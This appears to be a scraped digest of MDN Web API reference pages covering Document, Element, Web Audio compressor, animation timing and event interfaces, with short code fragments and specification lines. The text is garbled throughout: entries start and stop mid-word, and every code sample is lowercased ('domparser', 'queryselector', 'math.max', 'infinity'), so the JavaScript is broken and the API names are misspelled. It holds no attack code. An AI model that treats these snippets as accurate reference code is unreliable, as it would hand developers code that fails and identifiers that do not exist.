ample var doc = new domparser().parsefromstring('<foo />', 'application/xml'); var pi = doc.createprocessinginstruction('xml-stylesheet', 'href="mycss.css" type="text/css"'); doc.insertbefore(pi, doc.firstchild); console.log(new xmlserializer().serializetostring(doc)); // displays: <?xml-stylesheet href="mycss.css" type="text/css"?><foo/> specifications specification status comment domthe definition of 'createprocessinginstruction()' in that specification.
Document.createRange() - Web APIs
specifications specification status comment domthe definition of 'document.createrange' in that specification.
Document.createTextNode() - Web APIs
');">we can!</button> <hr /> <p id="p1">first line of paragraph.</p> </body> </html> specifications specification status comment domthe definition of 'document: createtextnode' in that specification.
Document.currentScript - Web APIs
syntax var curscriptelement = document.currentscript; example this example checks to see if the script is being executed asynchronously: if (document.currentscript.async) { console.log("executing asynchronously"); } else { console.log("executing synchronously"); } view live examples specifications specification status comment html living standardthe definition of 'document.currentscript' in that specification.
Document.designMode - Web APIs
example make an <iframe>'s document editable: iframenode.contentdocument.designmode = "on"; specifications specification status comment html living standardthe definition of 'designmode' in that specification.
Document.dir - Web APIs
WebAPIDocumentdir
syntax dirstr = document.dir document.dir = dirstr specifications specification status comment html living standardthe definition of 'document.dir' in that specification.
Document.doctype - Web APIs
WebAPIDocumentdoctype
specifications specification status comment domthe definition of 'document: doctype' in that specification.
Document.documentElement - Web APIs
specifications specification status comment domthe definition of 'document.documentelement' in that specification.
Document.documentURI - Web APIs
syntax const uri = document.documenturi example javascript document.getelementbyid("url").textcontent = document.documenturi; html <p id="urltext"> url:<br/> <span id="url">url goes here</span> </p> result specifications specification status comment domthe definition of 'documenturi' in that specification.
Document.documentURIObject - Web APIs
see bug 324464's comments for details.
Document.domain - Web APIs
WebAPIDocumentdomain
const baddomain = "www.example.xxx"; if (document.domain === baddomain) { // just an example: window.close() sometimes has no effect window.close(); } specifications specification status comment html living standardthe definition of 'document.domain' in that specification.
Document: drag event - Web APIs
nction(event) { // prevent default action (open as link for some elements) event.preventdefault(); // move dragged elem to the selected drop target if (event.target.classname == "dropzone") { event.target.style.background = ""; dragged.parentnode.removechild( dragged ); event.target.appendchild( dragged ); } }, false); specifications specification status comment html living standardthe definition of 'drag event' in that specification.
Document: dragend event - Web APIs
specifications specification status comment html living standardthe definition of 'dragend' in that specification.
Document: dragleave event - Web APIs
specifications specification status comment html living standardthe definition of 'dragleave' in that specification.
Document: dragover event - Web APIs
specifications specification status comment html living standardthe definition of 'dragover' in that specification.
Document: dragstart event - Web APIs
specifications specification status comment html living standardthe definition of 'dragstart' in that specification.
Document: drop event - Web APIs
specifications specification status comment html living standardthe definition of 'drop event' in that specification.
Document.embeds - Web APIs
WebAPIDocumentembeds
specifications specification status comment html living standardthe definition of 'document.embeds' in that specification.
Document.exitFullscreen() - Web APIs
specifications specification status comment fullscreen apithe definition of 'document.exitfullscreen()' in that specification.
Document.featurePolicy - Web APIs
specification specification status comment feature policy editor's draft initial definition.
Document.fgColor - Web APIs
WebAPIDocumentfgColor
the recommended alternative is the css property color (e.g., document.body.style.color = "red").
Document.fonts - Web APIs
WebAPIDocumentfonts
}); specifications specification status comment css font loading module level 3the definition of 'fontfaceset' in that specification.
Document.forms - Web APIs
WebAPIDocumentforms
put name="email" type="email"> <input name="password" type="password"> <button type="submit">log in</button> </form> <script> var loginform = document.forms.login; // or document.forms['login'] loginform.elements.email.placeholder = 'test@example.com'; loginform.elements.password.placeholder = 'password'; </script> </body> </html> specifications specification status comment html living standardthe definition of 'document.forms' in that specification.
Document.fullscreen - Web APIs
specifications specification status comment fullscreen apithe definition of 'document.fullscreen' in that specification.
Document.fullscreenEnabled - Web APIs
function requestfullscreen() { if (document.fullscreenenabled) { videoelement.requestfullscreen(); } else { console.log('your browser cannot use fullscreen right now'); } } specifications specification status comment fullscreen apithe definition of 'document.fullscreenenabled' in that specification.
Document: fullscreenchange event - Web APIs
the fullscreenchange event is fired immediately after the browser switches into or out of full-screen mode.
Document.getAnimations() - Web APIs
document.getanimations().foreach( function (animation) { animation.playbackrate *= .5; } ); specifications specification status comment web animationsthe definition of 'document.getanimations()' in that specification.
Document.getElementsByName() - Web APIs
both ie and edge return an htmlcollection, not a nodelist specifications specification status comment html living standardthe definition of 'document.getelementsbyname()' in that specification.
Document.getElementsByTagName() - Web APIs
specifications specification status comment domthe definition of 'document.getelementsbytagname' in that specification.
Document.hasFocus() - Web APIs
WebAPIDocumenthasFocus
ound = '#fff'; } else { log.textcontent = 'this document does not have the focus.'; body.style.background = '#ccc'; } } function openwindow() { window.open('https://developer.mozilla.org/', 'mdn', 'width=640,height=320,left=150,top=150'); } // check page focus every 300 milliseconds setinterval(checkpagefocus, 300); result specification specification status comment html living standardthe definition of 'document.hasfocus()' in that specification.
Document.images - Web APIs
WebAPIDocumentimages
var ilist = document.images; for(var i = 0; i < ilist.length; i++) { if(ilist[i].src == 'banner.gif') { // found the banner } } specifications specification status comment html living standardthe definition of 'document.images' in that specification.
Document.importNode() - Web APIs
specifications specification status comment domthe definition of 'document.importnode()' in that specification.
Document.lastModified - Web APIs
specifications specification status comment html living standardthe definition of 'document.lastmodified' in that specification.
Document.links - Web APIs
WebAPIDocumentlinks
example var links = document.links; for(var i = 0; i < links.length; i++) { var linkhref = document.createtextnode(links[i].href); var linebreak = document.createelement("br"); document.body.appendchild(linkhref); document.body.appendchild(linebreak); } specifications specification status comment html living standardthe definition of 'document.links' in that specification.
Document.onfullscreenerror - Web APIs
document.documentelement.requestfullscreen(); specifications specification status comment fullscreen apithe definition of 'onfullscreenerror' in that specification.
Document.open() - Web APIs
WebAPIDocumentopen
specifications specification status comment html living standardthe definition of 'document.open()' in that specification.
Document.plugins - Web APIs
WebAPIDocumentplugins
specifications specification status comment html living standardthe definition of 'document.plugins' in that specification.
Document: pointerlockchange event - Web APIs
pointerlockchange examples using addeventlistener(): document.addeventlistener('pointerlockchange', (event) => { console.log('pointer lock changed'); }); using the onpointerlockchange event handler property: document.onpointerlockchange = (event) => { console.log('pointer lock changed'); }; specifications specification status pointer lock candidate recommendation ...
Document: pointerlockerror event - Web APIs
ddeventlistener(): const para = document.queryselector('p'); document.addeventlistener('pointerlockerror', (event) => { console.log('error locking pointer'); }); using the onpointerlockerror event handler property: document.onpointerlockerror = (event) => { console.log('error locking pointer'); }; specifications specification status pointer lock candidate recommendation ...
Document.popupNode - Web APIs
<menuitem oncommand="mailnewscore.deletebutton(document.popupnode)"> ...
Document.querySelector() - Web APIs
specifications specification status comment domthe definition of 'document.queryselector()' in that specification.
Document: readystatechange event - Web APIs
nt) => { log.textcontent = log.textcontent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; }); result specifications specification status comment html living standardthe definition of 'readystatechange' in that specification.
Document.referrer - Web APIs
WebAPIDocumentreferrer
specifications specification status comment html living standardthe definition of 'document.referrer' in that specification.
Document.scripts - Web APIs
WebAPIDocumentscripts
let scripts = document.scripts; if (scripts.length) { alert('this page has scripts!'); } specifications specification status comment html living standardthe definition of 'document.scripts' in that specification.
Document: scroll event - Web APIs
instead, it is recommended to throttle the event using requestanimationframe(), settimeout(), or a customevent, as follows.
Document.scrollingElement - Web APIs
syntax var element = document.scrollingelement; example var scrollelm = document.scrollingelement; scrollelm.scrolltop = 0; specifications specification status comment css object model (cssom) view modulethe definition of 'scrollingelement' in that specification.
Document: selectionchange event - Web APIs
able no interface event event handler property onselectionchange examples // addeventlistener version document.addeventlistener('selectionchange', () => { console.log(document.getselection()); }); // onselectionchange version document.onselectionchange = () => { console.log(document.getselection()); }; specifications specification status comment selection apithe definition of 'selectionchange' in that specification.
Document: selectstart event - Web APIs
yes cancelable yes interface event event handler property onselectstart examples // addeventlistener version document.addeventlistener('selectstart', () => { console.log('selection started'); }); // onselectstart version document.onselectstart = () => { console.log('selection changed.'); }; specifications specification status comment selection apithe definition of 'selectstart' in that specification.
Document.timeline - Web APIs
WebAPIDocumenttimeline
specifications specification status comment web animationsthe definition of 'document.timeline' in that specification.
Document.title - Web APIs
WebAPIDocumenttitle
specifications specification status comment html living standardthe definition of 'document.title' in that specification.
Document: touchcancel event - Web APIs
specifications specification status touch events recommendation ...
Document: touchend event - Web APIs
specifications specification status touch events recommendation ...
Document: touchmove event - Web APIs
specifications specification status touch events recommendation ...
Document: touchstart event - Web APIs
specifications specification status touch events recommendation ...
Document: transitioncancel event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitioncancel' in that specification.
Document: transitionend event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionend' in that specification.
Document: transitionrun event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionrun' in that specification.
Document: transitionstart event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionstart' in that specification.
Document.vlinkColor - Web APIs
the recommended alternative is to get/set the color of the css :visited pseudo-class on html <a> elements (e.g., a:visited {color:red;}).
Document: wheel event - Web APIs
le = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); document.onwheel = zoom; addeventlistener equivalent the event handler can also be set up using the addeventlistener() method: document.addeventlistener('wheel', zoom); specifications specification status comment ui eventsthe definition of 'wheel' in that specification.
Document.write() - Web APIs
WebAPIDocumentwrite
specifications specification status comment html living standardthe definition of 'document.write(...)' in that specification.
Document.writeln() - Web APIs
WebAPIDocumentwriteln
specifications specification status comment html living standardthe definition of 'document.writeln()' in that specification.
DocumentFragment() - Web APIs
syntax fragment = new documentfragment() example let fragment = new documentfragment(); specification specification status comment domthe definition of 'documentfragment()' in that specification.
DocumentOrShadowRoot.activeElement - Web APIs
tput-text'); outputelement.innerhtml = activetextarea.id; outputtext.innerhtml = selection; } const textarea1 = document.getelementbyid('ta-example-one'); const textarea2 = document.getelementbyid('ta-example-two'); textarea1.addeventlistener('mouseup', onmouseup, false); textarea2.addeventlistener('mouseup', onmouseup, false); result specifications specification status comment html living standardthe definition of 'activeelement' in that specification.
DocumentOrShadowRoot.caretPositionFromPoint() - Web APIs
ent = textnode.splittext(offset); var br = document.createelement('br'); textnode.parentnode.insertbefore(br, replacement); } } window.onload = function (){ var paragraphs = document.getelementsbytagname("p"); for (i=0 ; i < paragraphs.length; i++) { paragraphs[i].addeventlistener("click", insertbreakatpoint, false); } }; specifications specification status comment css object model (cssom) view modulethe definition of 'caretpositionfrompoint()' in that specification.
DocumentOrShadowRoot.fullscreenElement - Web APIs
function isvideoinfullscreen() { if (document.fullscreenelement && document.fullscreenelement.nodename == 'video') { return true; } return false; } specifications specification status comment fullscreen apithe definition of 'document.fullscreenelement' in that specification.
DocumentOrShadowRoot.getSelection() - Web APIs
specifications specification status comment shadow domthe definition of 'documentorshadowroot' in that specification.
DocumentOrShadowRoot.styleSheets - Web APIs
specifications specification status comment shadow domthe definition of 'documentorshadowroot' in that specification.
DocumentOrShadowRoot - Web APIs
specifications specification status comment shadow domthe definition of 'documentorshadowroot' in that specification.
DocumentTimeline.DocumentTimeline() - Web APIs
document.queryselectorall('.sharedtimelinecat'); cats = array.prototype.slice.call(cats); var sharedtimeline = new documenttimeline({ origintime: 500 }); cats.foreach(function(cat) { var catkeyframes = new keyframeeffect(cat, keyframes, timing); var catanimation = new animation(catkeyframes, sharedtimeline); catanimation.play(); }); specifications specification status comment web animationsthe definition of 'documenttimeline()' in that specification.
DocumentTimeline - Web APIs
nds into their animations: const cats = document.queryselectorall('.sharedtimelinecat'); const sharedtimeline = new documenttimeline({ origintime: 500 }); for (const cat of cats) { const catkeyframes = new keyframeeffect(cat, keyframes, timing); const catanimation = new animation(catkeyframes, sharedtimeline); catanimation.play(); } specifications specification status comment web animationsthe definition of 'documenttimeline' in that specification.
DocumentType - Web APIs
specifications specification status comment domthe definition of 'documenttype' in that specification.
Examples of web and XML development using the DOM - Web APIs
wherever possible, the examples use common apis, tricks, and patterns in javascript for manipulating the document object.
Locating DOM elements using selectors - Web APIs
selectors the selector methods accept one or more comma-separated selectors to determine what element or elements should be returned.
Using the W3C DOM Level 1 Core - Web APIs
david baron <dbaron at dbaron dot org> copyright information: © 1998-2005 by individual mozilla.org contributors; content available under a creative commons license ...
DynamicsCompressorNode() - Web APIs
specifications specification status comment web audio apithe definition of 'dynamicscompressornode()' in that specification.
DynamicsCompressorNode.attack - Web APIs
tination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'attack' in that specification.
DynamicsCompressorNode.knee - Web APIs
tination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'knee' in that specification.
DynamicsCompressorNode.ratio - Web APIs
tination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'ratio' in that specification.
DynamicsCompressorNode.reduction - Web APIs
example var audioctx = new audiocontext(); var compressor = audioctx.createdynamicscompressor(); var myreduction = compressor.reduction; specifications specification status comment web audio apithe definition of 'reduction' in that specification.
DynamicsCompressorNode.release - Web APIs
tination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'release' in that specification.
DynamicsCompressorNode.threshold - Web APIs
tination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'threshold' in that specification.
DynamicsCompressorNode - Web APIs
tination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'dynamicscompressornode' in that specification.
EXT_disjoint_timer_query.beginQueryEXT() - Web APIs
specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_disjoint_timer_query.deleteQueryEXT() - Web APIs
ext.deletequeryext(query); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_disjoint_timer_query.endQueryEXT() - Web APIs
ext.endqueryext(ext.time_elapsed_ext); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_disjoint_timer_query.getQueryEXT() - Web APIs
examples var ext = gl.getextension('ext_disjoint_timer_query'); var startquery = ext.createqueryext(); ext.querycounterext(startquery, ext.timestamp_ext); var currentquery = ext.getqueryext(ext.timestamp_ext, ext.current_query_ext); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_disjoint_timer_query.getQueryObjectEXT() - Web APIs
var timeelapsed = ext.getqueryobjectext(query, ext.query_result_ext); } specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_disjoint_timer_query.isQueryEXT() - Web APIs
ext.isqueryext(query); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_disjoint_timer_query.queryCounterEXT() - Web APIs
ext.querycounterext(endquery, ext.timestamp_ext); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_texture_compression_bptc - Web APIs
examples var ext = gl.getextension('ext_texture_compression_bptc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_bptc_unorm_ext, 128, 128, 0, texturedata); specifications specification status ext_texture_compression_bptc community approved ...
EXT_texture_compression_rgtc - Web APIs
examples var ext = gl.getextension('ext_texture_compression_rgtc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_red_rgtc1_ext, 128, 128, 0, texturedata); specifications specification status ext_texture_compression_rgtc community approved ...
EffectTiming.direction - Web APIs
her arm up and down by passing her an alternate value for her direction property: // get alice's arm, and wave it up and down document.getelementbyid("alice_arm").animate([ { transform: 'rotate(10deg)' }, { transform: 'rotate(-40deg)' } ], { easing: 'steps(2, end)', iterations: infinity, direction: 'alternate', duration: 600 }); specifications specification status comment web animationsthe definition of 'direction' in that specification.
EffectTiming.easing - Web APIs
sents alice and the red queen var redqueen_alice_sprite = document.getelementbyid('red-queen_and_alice_sprite'); // animate alice and the red queen using steps() var redqueen_alice = redqueen_alice_sprite.animate( spriteframes, { easing: 'steps(7, end)', direction: "reverse", duration: 600, playbackrate: 1, iterations: infinity }); specifications specification status comment web animationsthe definition of 'easing' in that specification.
EffectTiming.endDelay - Web APIs
specifications specification status comment web animationsthe definition of 'enddelay' in that specification.
EffectTiming.iterationStart - Web APIs
specifications specification status comment web animationsthe definition of 'iterationstart' in that specification.
EffectTiming.iterations - Web APIs
me the page is open by passing infinity as the value for her iterations property: // get alice's arm, and wave it up and down document.getelementbyid("alice_arm").animate([ { transform: 'rotate(10deg)' }, { transform: 'rotate(-40deg)' } ], { easing: 'steps(2, end)', iterations: infinity, direction: 'alternate', duration: 600 }); specifications specification status comment web animationsthe definition of 'iterations' in that specification.
EffectTiming - Web APIs
specifications specification status comment web animationsthe definition of 'effecttiming' in that specification.
Element.attachShadow() - Web APIs
nt; // append it to the shadow root shadow.appendchild(text); // update count when element content changes setinterval(function() { var count = 'words: ' + countwords(wcparent); text.textcontent = count; }, 200) } } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); specifications specification status comment domthe definition of 'attachshadow()' in that specification.
Element.attributes - Web APIs
ult.value = "no attributes to show"; } } </script> </head> <body> <p id="paragraph" style="color: green;">sample paragraph</p> <form action=""> <p> <input type="button" value="show first attribute name and value" onclick="listattributes();"> <input id="result" type="text" value=""> </p> </form> </body> </html> specifications specification status comment domthe definition of 'element.attributes' in that specification.
Element: blur event - Web APIs
xt" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.background = ''; }, true); result specifications specification status comment ui events working draft added info that this event is composed.
Element.className - Web APIs
WebAPIElementclassName
specifications specification status comment domthe definition of 'element.classname' in that specification.
Element: click event - Web APIs
add a dummy onclick="void(0)" attribute to the element or any of its ancestors up to but not including <body>.
Element.clientHeight - Web APIs
example specification specification status comment css object model (cssom) view modulethe definition of 'clientheight' in that specification.
Element.clientWidth - Web APIs
example specification specification status comment css object model (cssom) view modulethe definition of 'clientwidth' in that specification.
Element.closest() - Web APIs
WebAPIElementclosest
&& !element.prototype.closest) { element.prototype.closest = function(s) { var matches = (this.document || this.ownerdocument).queryselectorall(s), i, el = this; do { i = matches.length; while (--i >= 0 && matches.item(i) !== el) {}; } while ((i < 0) && (el = el.parentelement)); return el; }; } specifications specification status comment domthe definition of 'element.closest()' in that specification.
Element.computedStyleMap() - Web APIs
specifications specification status comment css typed om level 1the definition of 'computedstylemap()' in that specification.
Element: contextmenu event - Web APIs
html <p id="nocontextmenu">the context menu has been disabled on this paragraph.</p> <p>but it has not been disabled on this one.</p> javascript nocontext = document.getelementbyid('nocontextmenu'); nocontext.addeventlistener('contextmenu', e => { e.preventdefault(); }); result specifications specification status comment html living standardthe definition of 'contextmenu' in that specification.
Element.currentStyle - Web APIs
* http://creativecommons.org/publicdomain/zero/1.0/ */ if (!("currentstyle" in element.prototype)) { object.defineproperty(element.prototype, "currentstyle", { get: function() { return window.getcomputedstyle(this); } }); } specification not part of any specification.
Element: focus event - Web APIs
xt" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.background = ''; }, true); result specifications specification status comment ui events working draft added info that this event is composed.
Element: focusin event - Web APIs
pe="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.background = ''; }); result specifications specification status comment ui events working draft added info that this event is composed.
Element: focusout event - Web APIs
pe="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.background = ''; }); result specifications specification status comment ui events working draft added info that this event is composed.
Element: fullscreenchange event - Web APIs
the fullscreenchange event is fired immediately after an element switches into or out of full-screen mode.
Element.getAnimations() - Web APIs
promise.all( elem.getanimations({ subtree: true }) .map(animation => animation.finished) ).then(() => elem.remove()); specifications specification status comment web animationsthe definition of 'animatable.getanimations()' in that specification.
Element.getAttribute() - Web APIs
let nonce = script.getattribute('nonce'); // returns empty string instead of retrieving the nonce from the content attribute, use the nonce property: let nonce = script.nonce; specifications specification status comment domthe definition of 'getattribute()' in that specification.
Element.getAttributeNames() - Web APIs
; } polyfill if (element.prototype.getattributenames == undefined) { element.prototype.getattributenames = function () { var attributes = this.attributes; var length = attributes.length; var result = new array(length); for (var i = 0; i < length; i++) { result[i] = attributes[i].name; } return result; }; } specifications specification status comment domthe definition of 'element.getattributenames' in that specification.
Element.getBoundingClientRect() - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'element.getboundingclientrect()' in that specification.
Element.getClientRects() - Web APIs
document.body.appendchild(tablerectdiv); } } (function() { /* call function addclientrectsoverlay(elt) for all elements with assigned class "withclientrectsoverlay" */ var elt = document.getelementsbyclassname('withclientrectsoverlay'); for (var i = 0; i < elt.length; i++) { addclientrectsoverlay(elt[i]); } })(); result specifications specification status comment css object model (cssom) view modulethe definition of 'element.getclientrects()' in that specification.
Element.getElementsByTagName() - Web APIs
example // check the status of each data cell in a table const table = document.getelementbyid('forecast-table'); const cells = table.getelementsbytagname('td'); for (let cell of cells) { let status = cell.getattribute('data-status'); if (status === 'open') { // grab the data } } specifications specification status comment domthe definition of 'element.getelementsbytagname()' in that specification.
Element.getElementsByTagNameNS() - Web APIs
var table = document.getelementbyid("forecast-table"); var cells = table.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "td"); for (var i = 0; i < cells.length; i++) { var axis = cells[i].getattribute("axis"); if (axis == "year") { // grab the data } } specifications specification status comment domthe definition of 'element.getelementsbytagnamens()' in that specification.
Element.hasAttributes() - Web APIs
examples let foo = document.getelementbyid('foo'); if (foo.hasattributes()) { // do something with 'foo.attributes' } polyfill ;(function(prototype) { prototype.hasattributes = prototype.hasattributes || function() { return (this.attributes.length > 0); } })(element.prototype); specifications specification status comment domthe definition of 'element.hasattributes()' in that specification.
Element.insertAdjacentElement() - Web APIs
specification specification status comment domthe definition of 'insertadjacentelement()' in that specification.
Element.insertAdjacentText() - Web APIs
nd higher with the following code: if (!element.prototype.insertadjacenttext) element.prototype.insertadjacenttext = function(type, txt){ this.insertadjacenthtml( type, (txt+'') // convert to string .replace(/&/g, '&amp;') // embed ampersand symbols .replace(/</g, '&lt;') // embed less-than symbols ) } specification specification status comment domthe definition of 'insertadjacenttext()' in that specification.
Element.matches() - Web APIs
WebAPIElementmatches
if (!element.prototype.matches) { element.prototype.matches = element.prototype.msmatchesselector || element.prototype.webkitmatchesselector; } specification specification status comment domthe definition of 'element.prototype.matches' in that specification.
Element: mousewheel event - Web APIs
bubbles yes cancelable yes interface mousewheelevent event handler property onmousewheel the detail property the value of the detail property is always zero, except in opera, which uses detail similarly to the firefox-only dommousescroll event's detail value, which indicates the scroll distance in terms of lines, with negative values indicating the scrolling movement is either toward the bottom or toward the right, and positive values indicating scrolling to the top or left.
Element.namespaceURI - Web APIs
specifications specification status comment domthe definition of 'element: namespaceuri' in that specification.
Element.onfullscreenchange - Web APIs
lscreen().then({}).catch(err => { alert(`error attempting to enable full-screen mode: ${err.message} (${err.name})`); }); } else { document.exitfullscreen(); } } function handlefullscreenchange(event) { let elem = event.target; let isfullscreen = document.fullscreenelement === elem; adjustmycontrols(isfullscreen); } specifications specification status comment fullscreen apithe definition of 'onfullscreenchange' in that specification.
Element.onfullscreenerror - Web APIs
elem.requestfullscreen(); specifications specification status comment fullscreen apithe definition of 'onfullscreenerror' in that specification.
Element.outerHTML - Web APIs
WebAPIElementouterHTML
outerhtml = "<div>this div replaced a paragraph.</div>"; console.log(p.nodename); // still "p"; the returned value will contain html escaped attributes: var anc = document.createelement("a"); anc.href = "https://developer.mozilla.org?a=b&c=d"; console.log(anc.outerhtml); // output: "<a href='https://developer.mozilla.org?a=b&amp;c=d'></a>" specification specification status comment dom parsing and serializationthe definition of 'element.outerhtml' in that specification.
Element.part - Web APIs
WebAPIElementpart
let tabs = []; let children = this.shadowroot.children; for(let elem of children) { if(elem.getattribute('part')) { tabs.push(elem); } } tabs.foreach((tab) => { tab.addeventlistener('click', (e) => { tabs.foreach((tab) => { tab.part = 'tab'; }) e.target.part = 'tab active'; }) console.log(tab.part); }) specifications specification status comment shadow partsthe definition of 'element.part' in that specification.
Element.prefix - Web APIs
WebAPIElementprefix
specifications specification status comment domthe definition of 'element: prefix' in that specification.
Element.querySelector() - Web APIs
specifications specification status comment domthe definition of 'queryselector()' in that specification.
Element.requestFullscreen() - Web APIs
specifications specification status comment fullscreen apithe definition of 'element.requestfullscreen()' in that specification.
Element.runtimeStyle - Web APIs
summary element.runtimestyle is a proprietary property similar to htmlelement.style, except its styles, that have higher precedence and modification.
Element.scroll() - Web APIs
WebAPIElementscroll
examples // put the 1000th vertical pixel at the top of the element element.scroll(0, 1000); using options: element.scroll({ top: 100, left: 100, behavior: 'smooth' }); specification specification status comment css object model (cssom) view modulethe definition of 'element.scroll()' in that specification.
Element.scrollBy() - Web APIs
WebAPIElementscrollBy
examples // scroll an element element.scrollby(300, 300); using options: element.scrollby({ top: 100, left: 100, behavior: 'smooth' }); specification specification status comment css object model (cssom) view modulethe definition of 'element.scrollby()' in that specification.
Element.scrollIntoView() - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'element.scrollintoview()' in that specification.
Element.scrollLeft - Web APIs
">slide right</button> css #container { width: 100px; height: 100px; border: 1px solid #ccc; overflow-x: scroll; } #content { width: 250px; background-color: #ccc; } javascript const button = document.getelementbyid('slide'); button.onclick = function () { document.getelementbyid('container').scrollleft += 20; }; result specifications specification status comment css object model (cssom) view modulethe definition of 'scrollleft' in that specification.
Element.scrollTo() - Web APIs
WebAPIElementscrollTo
examples element.scrollto(0, 1000); using options: element.scrollto({ top: 100, left: 100, behavior: 'smooth' }); specifications specification status comment css object model (cssom) view modulethe definition of 'element.scrollto()' in that specification.
Element.scrollWidth - Web APIs
alert('contents are overflowing the container.'); } else { alert('no overflows!'); } } buttonone.addeventlistener('click', function() { alertoverflow(divone); }); buttontwo.addeventlistener('click', function() { alertoverflow(divtwo); }); </script> </html> result specification specification status comment css object model (cssom) view modulethe definition of 'element.scrollwidth' in that specification.
Element: scroll event - Web APIs
instead, it is recommended to throttle the event using requestanimationframe(), settimeout(), or a customevent, as follows.
Element.shadowRoot - Web APIs
nodes = array.from(shadow.childnodes); childnodes.foreach(childnode => { if (childnode.nodename === 'style') { childnode.textcontent = ` div { width: ${elem.getattribute('l')}px; height: ${elem.getattribute('l')}px; background-color: ${elem.getattribute('c')}; } `; } }); } specifications specification status comment domthe definition of 'shadowroot' in that specification.
Element: show event - Web APIs
recommendation ...
Element.slot - Web APIs
WebAPIElementslot
let slottedspan = document.queryselector('my-paragraph span') console.log(slottedspan.slot); // logs 'my-text' specifications specification status comment domthe definition of 'slot' in that specification.
Element.tagName - Web APIs
WebAPIElementtagName
specifications specification status comment domthe definition of 'element: tagname' in that specification.
Element: touchcancel event - Web APIs
specifications specification status touch events recommendation ...
Element: touchend event - Web APIs
specifications specification status touch events recommendation ...
Element: touchmove event - Web APIs
specifications specification status touch events recommendation ...
Element: touchstart event - Web APIs
specifications specification status touch events recommendation ...
Element: wheel event - Web APIs
scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); el.onwheel = zoom; addeventlistener equivalent the event handler can also be set up using the addeventlistener() method: el.addeventlistener('wheel', zoom); specifications specification status comment ui eventsthe definition of 'wheel' in that specification.
ElementCSSInlineStyle.style - Web APIs
note the presence of the value bold for font-weight in the computed style and the absence of it in the element's style property specifications specification status comment css object model (cssom)the definition of 'the elementcssinlinestyle.style property' in that specification.
ElementTraversal - Web APIs
specifications specification status comment domthe definition of 'childnode' in that specification.
Encoding API - Web APIs
specifications specification status comment encoding living standard initial definition.
Encrypted Media Extensions API - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition ...
Event() - Web APIs
WebAPIEventEvent
example // create a look event that bubbles up and cannot be canceled const evt = new event("look", {"bubbles":true, "cancelable":false}); document.dispatchevent(evt); // event can be dispatched from any element, not only the document mydiv.dispatchevent(evt); specifications specification status comment domthe definition of 'event()' in that specification.
Event.bubbles - Web APIs
WebAPIEventbubbles
specifications specification status comment domthe definition of 'event.bubbles' in that specification.
Event.cancelBubble - Web APIs
